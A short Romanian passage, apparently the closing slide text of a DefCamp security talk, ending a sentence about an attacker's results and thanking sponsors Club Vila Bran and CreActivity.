funcție de rezultatele obținute de atacator.THE ENDMulțumiri sponsorilor: Club Vila BranCreActivitysirgod@DEFCAMP